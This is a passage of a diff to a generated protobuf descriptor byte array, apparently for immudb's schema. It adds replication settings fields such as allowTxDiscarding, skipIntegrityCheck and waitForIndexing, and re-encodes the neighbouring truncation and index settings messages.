0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, - 0x67, 0x73, 0x12, 0x43, 0x0a, 0x0e, 0x65, 0x6d, 0x62, 0x65, 0x64, 0x64, 0x65, 0x64, 0x56, 0x61, - 0x6c, 0x75, 0x65, 0x73, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0e, 0x65, 0x6d, 0x62, 0x65, 0x64, 0x64, 0x65, - 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x61, 0x6c, - 0x6c, 0x6f, 0x63, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0d, 0x70, 0x72, 0x65, - 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x22, 0xc8, 0x07, 0x0a, 0x1b, 0x52, - 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x72, 0x65, - 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, + 0x33, 0x32, 0x52, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, + 0x12, 0x49, 0x0a, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, + 0x72, 0x64, 0x69, 0x6e, 0x67, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, - 0x61, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, - 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, - 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0b, - 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x3f, 0x0a, 0x0b, 0x70, - 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, - 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x47, 0x0a, 0x0f, - 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, - 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, - 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, - 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, - 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x45, - 0x0a, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x39, 0x0a, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, - 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x54, + 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x12, 0x4b, 0x0a, 0x12, 0x73, + 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, + 0x6b, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, - 0x12, 0x51, 0x0a, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, - 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x70, - 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, - 0x69, 0x7a, 0x65, 0x12, 0x61, 0x0a, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, - 0x6e, 0x63, 0x79, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, - 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x54, - 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x18, 0x0b, 0x20, 0x01, 0x28, + 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, + 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x12, 0x45, 0x0a, 0x0f, 0x77, 0x61, 0x69, 0x74, + 0x46, 0x6f, 0x72, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x69, 0x6e, 0x67, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, - 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, - 0x67, 0x12, 0x4b, 0x0a, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, - 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x12, 0x73, 0x6b, 0x69, 0x70, - 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x12, 0x45, - 0x0a, 0x0f, 0x77, 0x61, 0x69, 0x74, 0x46, 0x6f, 0x72, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x69, 0x6e, - 0x67, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, + 0x77, 0x61, 0x69, 0x74, 0x46, 0x6f, 0x72, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x69, 0x6e, 0x67, 0x22, + 0xc2, 0x01, 0x0a, 0x1a, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x4d, + 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, + 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x77, 0x61, 0x69, 0x74, 0x46, 0x6f, 0x72, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x69, 0x6e, 0x67, 0x22, 0xc2, 0x01, 0x0a, 0x1a, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x12, 0x4d, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, - 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, + 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0f, 0x72, 0x65, + 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x55, 0x0a, + 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, + 0x65, 0x6e, 0x63, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, + 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, + 0x65, 0x6e, 0x63, 0x79, 0x22, 0x99, 0x09, 0x0a, 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x45, + 0x0a, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, + 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, + 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, + 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, + 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x3b, 0x0a, 0x09, 0x63, 0x61, + 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, - 0x64, 0x73, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, - 0x69, 0x6f, 0x64, 0x12, 0x55, 0x0a, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, - 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x22, 0x99, 0x09, 0x0a, 0x15, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x12, 0x45, 0x0a, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, - 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x63, 0x61, + 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, + 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x66, 0x6c, 0x75, - 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x43, 0x0a, 0x0d, 0x73, - 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, - 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, - 0x12, 0x3b, 0x0a, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, - 0x33, 0x32, 0x52, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3f, 0x0a, - 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, - 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, - 0x0a, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, - 0x68, 0x6f, 0x74, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, - 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x12, 0x4d, 0x0a, - 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, - 0x74, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, - 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x12, 0x45, 0x0a, 0x0e, - 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x18, 0x07, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, + 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x6d, 0x61, 0x78, 0x41, + 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, - 0x68, 0x6c, 0x64, 0x12, 0x53, 0x0a, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, - 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, + 0x74, 0x33, 0x32, 0x52, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, + 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x12, 0x4d, 0x0a, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, + 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x18, 0x06, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, + 0x36, 0x34, 0x52, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, + 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x12, 0x45, 0x0a, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x63, + 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x12, 0x53, 0x0a, + 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x64, 0x65, 0x6c, + 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x12, 